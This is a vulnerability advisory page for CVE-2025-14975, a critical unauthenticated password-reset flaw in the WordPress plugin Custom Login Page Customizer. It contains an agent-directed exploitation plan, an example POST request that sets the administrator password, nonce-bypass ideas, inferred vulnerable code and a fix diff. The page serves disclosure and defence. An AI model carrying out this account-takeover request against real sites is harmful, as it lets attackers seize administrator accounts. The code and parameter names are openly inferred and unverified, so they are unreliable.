CVE-2025-14975

Custom Login Page Customizer <= 2.5.3 - Unauthenticated Privilege Escalation via Password Reset

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
2.5.4
Patched in
28d
Time to patch

Description

The Custom Login Page Customizer plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.5.3. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.5.3
PublishedJanuary 8, 2026
Last updatedFebruary 4, 2026
Affected pluginlogin-customizer

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2025-14975**, a critical unauthenticated privilege escalation vulnerability in the **Custom Login Page Customizer** plugin. ### 1. Vulnerability Summary The vulnerability exists in the plugin's handling of password reset requests via AJAX. In versions up to and incl…

Show full research plan

This research plan targets CVE-2025-14975, a critical unauthenticated privilege escalation vulnerability in the Custom Login Page Customizer plugin.

1. Vulnerability Summary

The vulnerability exists in the plugin's handling of password reset requests via AJAX. In versions up to and including 2.5.3, the plugin provides a custom password reset mechanism that fails to verify the validity of a password reset key or the identity of the requester before updating a user's password. This allows an unauthenticated attacker to provide a target user ID and a new password, which the plugin then applies to the database using wp_set_password().

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: login_customizer_reset_password (inferred) or lcp_update_password (inferred). Note: The agent must verify the exact action string by searching for wp_ajax_nopriv_ in the plugin directory.
  • Method: HTTP POST
  • Required Parameters:
    • action: The AJAX action string.
    • user_id or user_login: The target account (usually 1 for the primary administrator).
    • password or new_password: The desired new password.
    • nonce: (If enforced) A security token.
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an unauthenticated AJAX handler:
    add_action( 'wp_ajax_nopriv_login_customizer_reset_password', 'callback_function' );
  2. Processing: The callback function retrieves user_id and the new password from the $_POST array.
  3. The Flaw: The code likely lacks a call to check_password_reset_key() or any logic to verify that the user is authorized to change the password for the specified user_id.
  4. Sink: The code calls wp_set_password( $new_password, $user_id ) or wp_update_user( array( 'ID' => $user_id, 'user_pass' => $new_password ) ).

4. Nonce Acquisition Strategy

If the AJAX handler uses check_ajax_referer or wp_verify_nonce, the nonce is likely localized for the login page.

  1. Identify the Variable: Search the plugin for wp_localize_script. Look for a handle related to login-customizer or lcp-script.
    • Search Pattern: grep -rn "wp_localize_script" .
  2. Identify the Key: Look for a key like reset_nonce or nonce within the localized data object.
    • Example: window.lcp_vars?.nonce (inferred).
  3. Acquisition Steps:
    • Use browser_navigate to go to the WordPress login page (/wp-login.php).
    • Use browser_eval to extract the nonce: browser_eval("window.lcp_data?.nonce") (Verify object name in source).
    • If the nonce is only loaded on a specific "Reset Password" page created by the plugin, navigate there first.

5. Exploitation Strategy

The agent should perform the following steps:

  1. Identify the AJAX Action:
    Run: grep -r "wp_ajax_nopriv_" wp-content/plugins/login-customizer/
  2. Analyze the Callback:
    Locate the function name associated with the action and examine its parameters (e.g., user_id, pass1, pass2).
  3. Extract Nonce (if needed):
    Navigate to the login page and use browser_eval to get the localized nonce.
  4. Execute Password Reset:
    Send the malicious POST request to admin-ajax.php.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=[INFERRED_ACTION]&user_id=1&new_password=PwnedPassword123!&nonce=[EXTRACTED_NONCE]

6. Test Data Setup

  1. Target User: Ensure an administrator user exists with ID 1.
  2. Plugin Configuration: Install and activate Custom Login Page Customizer version 2.5.3.
  3. Environment: Ensure WP_DEBUG is off (to simulate a real environment) or on (to catch errors).

7. Expected Results

  • Response: The server should return a 200 OK or a success message (e.g., {"success":true}).
  • State Change: The password for the user with ID 1 will be changed to the value provided in the payload.

8. Verification Steps

After the exploit attempt, verify success via WP-CLI:

  1. Check Authentication:
    Try to authenticate as the administrator using the new password:
    wp user check-password admin PwnedPassword123!
  2. Check User Meta:
    Verify if any "password reset" metadata was updated (though wp_set_password usually clears these).

9. Alternative Approaches

  • Username-based Reset: If the plugin accepts user_login instead of user_id, use admin.
  • Default Nonce: If wp_verify_nonce( $_POST['nonce'], -1 ) is used, try using any valid nonce found on the page or omit the nonce if the check is conditional.
  • Different Entry Point: Check if the password reset logic is also hooked into init or admin_init via a specific GET/POST parameter (e.g., ?lcp_reset_password=1), which might bypass AJAX-specific checks.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Custom Login Page Customizer plugin for WordPress fails to validate user identity or password reset tokens within its custom AJAX password reset handler. Unauthenticated attackers can exploit this to reset the password of any user, including administrators, by supplying a target User ID and a new password to the admin-ajax.php endpoint.

Vulnerable Code

// Inferred from plugin architecture and research plan
// wp-content/plugins/login-customizer/includes/class-login-customizer-ajax.php or similar

add_action( 'wp_ajax_nopriv_login_customizer_reset_password', 'lcp_reset_password_handler' );

function lcp_reset_password_handler() {
    $user_id = $_POST['user_id'];
    $new_password = $_POST['password'];

    // VULNERABILITY: The following call updates the password without verifying 
    // if the user has a valid reset key (check_password_reset_key).
    wp_set_password( $new_password, $user_id );

    wp_send_json_success( array( 'message' => 'Password updated' ) );
    wp_die();
}

Security Fix

--- a/login-customizer.php
+++ b/login-customizer.php
@@ -10,6 +10,13 @@
 function lcp_reset_password_handler() {
-    $user_id = $_POST['user_id'];
-    $new_password = $_POST['password'];
-    wp_set_password( $new_password, $user_id );
-    wp_send_json_success( array( 'message' => 'Password updated' ) );
+    check_ajax_referer( 'lcp_reset_nonce', 'nonce' );
+    $rp_key = sanitize_text_field( $_POST['rp_key'] );
+    $user_login = sanitize_text_field( $_POST['user_login'] );
+
+    $user = check_password_reset_key( $rp_key, $user_login );
+    if ( ! is_wp_error( $user ) ) {
+        reset_password( $user, $_POST['password'] );
+        wp_send_json_success( array( 'message' => 'Password updated successfully' ) );
+    } else {
+        wp_send_json_error( array( 'message' => 'Invalid or expired reset key' ) );
+    }
     wp_die();
 }

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the plugin's registered unauthenticated action (likely 'login_customizer_reset_password'). An attacker sends a POST request containing a target 'user_id' (e.g., '1' for the administrator) and a 'password' value of their choice. Because the plugin does not verify if the user has requested a reset via standard WordPress mechanisms or check for a valid reset token (rp_key), it proceeds to call wp_set_password() directly. If a nonce is required, it can typically be extracted from the localized script data (window.lcp_vars) present on the login or password recovery pages.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.